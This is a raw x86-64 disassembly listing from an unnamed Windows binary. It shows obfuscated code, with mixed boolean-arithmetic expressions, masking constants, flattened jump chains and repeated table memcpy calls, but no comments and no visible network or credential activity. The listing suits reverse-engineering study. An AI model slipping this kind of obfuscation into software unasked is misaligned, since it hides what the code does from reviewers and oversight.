lea rdx, [0x140133350]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e0a99
jmp 0x1400e0b67
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0x1868], rax
jmp 0x1400e0bdd
mov rax, qword [rbp + 0xdd0]
mov rdx, qword [rbp + 0xde0]
mov rcx, qword [rbp + 0xdd8]
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1848], rax
movabs rax, 0x971ab5e347c10d79
add rax, qword [rbp + 0x1848]
movabs rcx, 0xb78b8de8519a755
sub rax, rcx
movabs rcx, 0x971ab5e347c10d79
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e0ce5
lea rcx, [rbp + 0x1870]
lea rdx, [0x140133420]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e0dcb
jmp 0x1400e0e71
movzx eax, byte [rbp + 0x1957]
mov qword [rbp + 0x1948], rax
mov rax, qword [rbp + 0x1958]
movabs rcx, 0x7f4de22305c7814f
sub rax, rcx
movabs rcx, 0xfdf081cd74b33599
add rax, rcx
movabs rcx, 0x7f4de22305c7814f
add rax, rcx
mov qword [rbp + 0x1940], rax
jmp 0x1400e0f52
mov rax, qword [rbp + 0xd98]
mov rcx, qword [rbp + 0xda0]
mov rdx, qword [rbp + 0xdb0]
mov r8, qword [rbp + 0xda8]
xor r8, 0xffffffffffffffff
xor rdx, 0xffffffffffffffff
or r8, rdx
xor r8, 0xffffffffffffffff
xor edx, edx
sub rdx, rcx
xor ecx, ecx
sub rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1938], rax
movabs rax, 0x1f2208fc27dd395a
add rax, qword [rbp + 0x1938]
movabs rcx, 0xf1938c9e30e6772f
sub rax, rcx
movabs rcx, 0x1f2208fc27dd395a
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e0fdb
lea rcx, [rbp + 0x1960]
lea rdx, [0x1401334f0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e10f1
jmp 0x1400e11ae
mov al, byte [rbp + 0xd6f]
mov rcx, qword [rbp + 0xd70]
mov qword [rbp + 0x1a48], rcx
mov byte [rbp + 0x1a47], al
movzx eax, byte [rbp + 0x1a47]
mov qword [rbp + 0x1a38], rax
mov rax, qword [rbp + 0x1a48]
movabs rcx, 0xbc9df23bbbe66391
sub rax, rcx
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a38]
add rax, qword [rbp + 0x1a30]
mov rcx, qword [rbp + 0x1a38]
mov r8, qword [rbp + 0x1a30]
mov rdx, rcx
and rdx, r8
xor rcx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rcx, r8
xor rcx, 0xffffffffffffffff
or rdx, rcx
mov r8, qword [rbp + 0x1a30]
mov r9, qword [rbp + 0x1a38]
xor r9, 0xffffffffffffffff
mov rcx, r8
xor rcx, r9
and rcx, r8
add rdx, rcx
xor ecx, ecx
sub rcx, rdx
add rax, rcx
mov qword [rbp + 0x1a28], rax
mov rax, qword [rbp + 0x1a28]
movabs rcx, 0x28519fa2234cb8f7
add rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e1266
jmp 0x1400e1397
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1b38], rcx
mov byte [rbp + 0x1b37], al
movzx eax, byte [rbp + 0x1b37]
mov qword [rbp + 0x1b28], rax
xor eax, eax
mov ecx, eax
sub rcx, qword [rbp + 0x1b38]
movabs rax, 0x772c6644ec7ffcbb
add rcx, rax
xor eax, eax
sub rax, rcx
mov qword [rbp + 0x1b20], rax
jmp 0x1400e145f
jmp 0x1400e15d0
jmp 0x1400e164a
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1c28], rcx
mov byte [rbp + 0x1c27], al
movzx eax, byte [rbp + 0x1c27]
mov qword [rbp + 0x1c18], rax
jmp 0x1400e16d1
lea rcx, [rbp + 0x1c30]
lea rdx, [0x140133760]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e18a4
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1d18], rcx
mov byte [rbp + 0x1d17], al
movzx eax, byte [rbp + 0x1d17]
mov qword [rbp + 0x1d08], rax
movabs rax, 0x13b6b1a8b24cd0f1
add rax, qword [rbp + 0x1d18]
mov qword [rbp + 0x1d00], rax
jmp 0x1400e193b
jmp 0x1400e1a4c
mov rax, qword [rbp + 0xcf8]
mov rdx, qword [rbp + 0xce8]
mov r8, qword [rbp + 0xcf0]
and r8, qword [rbp + 0x1d08]
mov rcx, rdx
and rcx, r8
or rdx, r8
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1cf8], rax
mov rax, qword [rbp + 0x1cf8]
movabs rcx, 0xae0381fceaf10792
add rax, rcx
movabs rcx, 0x89fedb9ce019b697
sub rax, rcx
movabs rcx, 0xae0381fceaf10792
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e1aff
jmp 0x1400e1bec
jmp 0x1400e1d3e
jmp 0x1400e1ee5
jmp 0x1400e1fd4
jmp 0x1400e2073
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x1fe8], rcx
mov byte [rbp + 0x1fe7], al
jmp 0x1400e2114
mov rcx, qword [rbp + 0xc68]
mov rax, qword [rbp + 0xc60]
add rax, rcx
mov rdx, qword [rbp + 0x1fd8]
and rdx, qword [rbp + 0x1fd0]
mov r8, qword [rbp + 0x1fd0]
mov r9, qword [rbp + 0x1fd8]
mov rcx, r8
and rcx, r9
xor r8, 0xffffffffffffffff
xor r9, 0xffffffffffffffff
or r8, r9
xor r8, 0xffffffffffffffff
or rcx, r8
add rdx, rcx
mov rcx, rax
xor rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
shl rax, 1
sub rax, rcx
mov qword [rbp + 0x1fc8], rax
mov rax, qword [rbp + 0x1fc8]
movabs rdx, 0x3c4f56dbe3802625
mov rcx, rax
xor rcx, rdx
movabs rdx, 0xc3b0a9241c7fd9da
and rax, rdx
shl rax, 1
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e2200
jmp 0x1400e2380
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x20d8], rcx
mov byte [rbp + 0x20d7], al
jmp 0x1400e2440
mov rcx, qword [rbp + 0xc28]
movabs rdx, 0x297ce183efe66c49
mov rax, rcx
and rax, rdx
movabs rdx, 0x297ce183efe66c49
or rcx, rdx
add rax, rcx
mov qword [rbp + 0x20c0], rax
mov rax, qword [rbp + 0x20c8]
add rax, qword [rbp + 0x20c0]
mov rcx, qword [rbp + 0x20c8]
mov r8, qword [rbp + 0x20c0]
xor r8, 0xffffffffffffffff
mov rdx, rcx
xor rdx, r8
and rdx, rcx
mov rcx, qword [rbp + 0x20c0]
mov r9, qword [rbp + 0x20c8]
mov r8, rcx
add r8, 1
xor rcx, 0xffffffffffffffff
or rcx, r9
add rcx, r8
add rdx, rcx
mov rcx, rax
xor rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
shl rax, 1
sub rax, rcx
mov qword [rbp + 0x20b8], rax
mov rax, qword [rbp + 0x20b8]
movabs rcx, 0x226a2a9b8f4cf5ff
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e2520
mov rax, qword [rbp + 0xc08]
mov qword [rbp + 0x21a8], rax
mov rax, qword [rbp + 0x21a8]
movabs rcx, 0x884fe5b3b19c5d9
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e26f1
lea rcx, [rbp + 0x21d0]
lea rdx, [0x140133c40]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e2787
jmp 0x1400e2875
mov rcx, qword [rbp + 0x22b8]
movabs rdx, 0xb45ff9718eb339f5
mov rax, rcx
and rax, rdx
movabs rdx, 0xb45ff9718eb339f5
or rcx, rdx
add rax, rcx
mov qword [rbp + 0x22a0], rax
jmp 0x1400e29c4
mov rax, qword [rbp + 0xbd0]
mov rcx, qword [rbp + 0x22a8]
mov rdx, qword [rbp + 0x22a0]
and rcx, rdx
mov rdx, qword [rbp + 0x22a0]
and rdx, qword [rbp + 0x22a8]
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x2298], rax
mov rax, qword [rbp + 0x2298]
movabs rcx, 0xee9fd21ae6e695b3
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e2a76
lea rcx, [rbp + 0x22c0]
lea rdx, [0x140133d10]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e2b9f
jmp 0x1400e2d24
jmp 0x1400e3a1d
lea rcx, [rbp + 0x2680]
lea rdx, [0x140134050]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e3b2b
jmp 0x1400e3be4
jmp 0x1400e3c81
movabs rax, 0xa6a02ee0f87639fe
add rax, qword [rbp + 0x14a8]
movabs rcx, 0xa2b8c5fb67b3336b
add rax, rcx
movabs rcx, 0xa6a02ee0f87639fe
sub rax, rcx
mov qword [rbp + 0x1490], rax
mov rcx, qword [rbp + 0x1498]
mov rdx, qword [rbp + 0x1490]
mov rax, rcx
and rax, rdx
or rcx, rdx
add rax, rcx
mov rcx, qword [rbp + 0x1498]
and rcx, qword [rbp + 0x1490]
mov rdx, qword [rbp + 0x1490]
and rdx, qword [rbp + 0x1498]
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x1488], rax
mov rax, qword [rbp + 0x1488]
movabs rcx, 0xd1e90528840b1205
sub rax, rcx
movabs rcx, 0x730d69dfd5e667ed
sub rax, rcx
movabs rcx, 0xd1e90528840b1205
add rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e3d18
lea rcx, [rbp + 0x2750]
lea rdx, [0x140134120]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e3e0c
jmp 0x1400e3ea9
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x2838], rcx
mov byte [rbp + 0x2837], al
movzx eax, byte [rbp + 0x2837]
mov qword [rbp + 0x2828], rax
mov rax, qword [rbp + 0x2838]
movabs rcx, 0x4daf84c0fc999072
sub rax, rcx
mov qword [rbp + 0x2820], rax
jmp 0x1400e3f0e
mov rax, qword [rbp + 0xa88]
mov qword [rbp + 0x2818], rax
mov rax, qword [rbp + 0x2818]
movabs rcx, 0xe0335eb917cd0ce2
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400e4018
jmp 0x1400e4123
jmp 0x1400e423e
lea rcx, [rbp + 0x2930]
lea rdx, [0x1401342c0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e438d
jmp 0x1400e43f2
jmp 0x1400e5888
jmp 0x1400e595c
lea rcx, [rbp + 0x2fc0]
lea rdx, [0x140134870]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400e59db
mov rax, qword [rbp + 0x1360]
mov qword [rbp + 0x4530], rax
jmp 0x1400e9eea
mov al, byte [rbp + 0x55e]
mov byte [rbp + 0x452f], al
movzx eax, byte [rbp + 0x452f]
mov qword [rbp + 0x4520], rax
movabs rax, 0x7857a826b919b00d
add rax, qword [rbp + 0x4530]
mov qword [rbp + 0x4518], rax
jmp 0x1400e9f49
mov rax, qword [rbp + 0x540]
mov rdx, qword [rbp + 0x548]
mov r8, qword [rbp + 0x550]
xor ecx, ecx
sub rcx, r8
sub rdx, rcx
mov rcx, rax
xor rcx, 0xffffffffffffffff
and rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
sub rax, rcx
mov qword [rbp + 0x4510], rax
movabs rax, 0x296ba2e7e0d4fe71
add rax, qword [rbp + 0x4510]
movabs rcx, 0x4a65990f0fb3d05b
sub rax, rcx
movabs rcx, 0x296ba2e7e0d4fe71
sub rax, rcx
mov dl, al
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
mov byte [rax + rcx], dl
jmp 0x1400ea0a9
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x1368], rax
jmp 0x1400ea122
jmp 0x1400ea1d2
jmp 0x1400ea211
jmp 0x1400ea23d
jmp 0x1400ea301
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x4580], rcx
mov byte [rbp + 0x457f], al
movzx eax, byte [rbp + 0x457f]
mov qword [rbp + 0x4570], rax
movabs rax, 0xbdc9341d888016e3
add rax, qword [rbp + 0x4580]
mov qword [rbp + 0x4568], rax
jmp 0x1400ea55f
mov rax, qword [rbp + 0x528]
mov rdx, qword [rbp + 0x4568]
xor ecx, ecx
sub rcx, rax
xor eax, eax
sub rax, rdx
add rcx, rax
xor eax, eax
sub rax, rcx
mov rdx, qword [rbp + 0x4570]
mov r8, qword [rbp + 0x4568]
xor r8, 0xffffffffffffffff
mov rcx, rdx
xor rcx, r8
and rcx, rdx
mov rdx, qword [rbp + 0x4568]
mov r8, qword [rbp + 0x4570]
xor rdx, 0xffffffffffffffff
xor r8, 0xffffffffffffffff
or rdx, r8
sub rdx, 0xffffffffffffffff
sub rcx, rdx
xor rcx, 0xffffffffffffffff
add rax, rcx
add rax, 1
mov qword [rbp + 0x4560], rax
mov rax, qword [rbp + 0x4560]
movabs rcx, 0x30806ccebb80a035
sub rax, rcx
mov dl, al
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
mov byte [rax + rcx], dl
jmp 0x1400ea61c
mov al, byte [rbp + 0x527]
movzx r8d, al
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
movzx edx, byte [rax + rcx]
add edx, r8d
mov byte [rax + rcx], dl
jmp 0x1400ea709
jmp 0x1400ea839
jmp 0x1400ea8d8
mov rax, qword [rbp + 0x1360]
add rax, 0xffffffffffffffff
mov qword [rbp + 0x1360], rax
jmp 0x1400ea95e
movzx eax, byte [rbp + 0x137e]
mov ecx, eax
mov rax, qword [rbp + 0x1360]
xor rcx, 0xffffffffffffffff
add rax, rcx
add rax, 1
mov qword [rbp + 0x1360], rax
jmp 0x1400ea9b3
jmp 0x1400eaa76
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x45d0], rcx
mov byte [rbp + 0x45cf], al
movzx eax, byte [rbp + 0x45cf]
mov qword [rbp + 0x45c0], rax
xor eax, eax
mov ecx, eax
sub rcx, qword [rbp + 0x45d0]
movabs rax, 0xfcc53feba8198247
add rcx, rax
xor eax, eax
sub rax, rcx
mov qword [rbp + 0x45b8], rax
jmp 0x1400eac2a
mov rdx, qword [rbp + 0x4f0]
mov rcx, qword [rbp + 0x4e8]
mov rax, rcx
and rax, rdx
or rcx, rdx
add rax, rcx
mov rdx, qword [rbp + 0x45c0]
mov r8, qword [rbp + 0x45b8]
xor r8, 0xffffffffffffffff
mov rcx, rdx
xor rcx, r8
and rcx, rdx
mov rdx, qword [rbp + 0x45b8]
and rdx, qword [rbp + 0x45c0]
add rcx, rdx
sub rax, rcx
mov qword [rbp + 0x45b0], rax
mov rax, qword [rbp + 0x45b0]
movabs rcx, 0x169b408e674d700f
sub rax, rcx
mov dl, al
mov rax, qword [rbp + 0x1380]
mov rcx, qword [rbp + 0x1360]
mov byte [rax + rcx], dl
mov rax, qword [rbp + 0x1368]
add rax, 1
mov qword [rbp + 0x1368], rax
jmp 0x1400ead2c
mov rcx, qword [rbp + 0x1360]
mov al, byte [rbp + 0x137f]
mov qword [rbp + 0x45f8], rcx
mov byte [rbp + 0x45f7], al
movzx eax, byte [rbp + 0x45f7]
mov qword [rbp + 0x45e8], rax
jmp 0x1400eaec8
jmp 0x1400eb0fe
jmp 0x1400eb18e
lea rcx, [rbp + 0x4600]
lea rdx, [0x140135b20]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400eb1cd
lea rcx, [rbp + 0x46f0]
lea rdx, [0x140135bf0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400eb2e6
jmp 0x1400eb3e3
jmp 0x1400eb557
mov rax, qword [rbp + 0x488]
mov rcx, qword [rbp + 0x480]
xor rcx, 0xffffffffffffffff
add rax, rcx
add rax, 1
mov qword [rbp + 0x47b8], rax
mov rax, qword [rbp + 0x47b8]
movabs rcx, 0x55de51ed94cd77b0
sub rax, rcx
mov byte [rbp + 0x137e], al
jmp 0x1400eb606
jmp 0x1400eb71e
lea rcx, [rbp + 0x47e0]
lea rdx, [0x140135cc0]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400eb76e
movzx eax, byte [rbp + 0x48c7]
mov qword [rbp + 0x48b8], rax
movabs rax, 0x764829f42dcce5a6
add rax, qword [rbp + 0x48c8]
mov qword [rbp + 0x48b0], rax
mov rax, qword [rbp + 0x48b8]
mov rcx, qword [rbp + 0x48b0]
xor rcx, 0xffffffffffffffff
sub rcx, 0xffffffffffffffff
sub rax, rcx
mov rdx, qword [rbp + 0x48b8]
and rdx, qword [rbp + 0x48b0]
mov rcx, qword [rbp + 0x48b0]
and rcx, qword [rbp + 0x48b8]
add rdx, rcx
mov rcx, rax
xor rcx, rdx
xor rdx, 0xffffffffffffffff
and rax, rdx
shl rax, 1
sub rax, rcx
mov qword [rbp + 0x48a8], rax
jmp 0x1400eb831
mov rax, qword [rbp + 0x460]
mov byte [rbp + 0x137e], al
jmp 0x1400eb990
lea rcx, [rbp + 0x48d0]
lea rdx, [0x140135d90]
mov r8d, 0xc8
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400eba11
jmp 0x1400ebaa0
jmp 0x1400f059b
jmp 0x1400f05d5
mov rax, qword [rbp - 8]
mov qword [rbp + 0x1388], rax
jmp 0x1400f061c
jmp 0x1400f06cc
jmp 0x1400f075f
jmp 0x1400f07ba
jmp 0x1400f0820
jmp 0x1400f088b
jmp 0x1400f0968
lea rcx, [rbp + 0xfd0]
call fcn.1400f4fc0
jmp 0x1400f09d5
jmp 0x1400f0ab9
jmp 0x1400f0b64
jmp 0x1400f0bcb
jmp 0x1400f0c8a
jmp 0x1400f0d6c
mov dword [rbp + 0x1104], 0
lea rcx, [rbp + 0xf88]
call fcn.140123cd0
jmp 0x1400f0dc0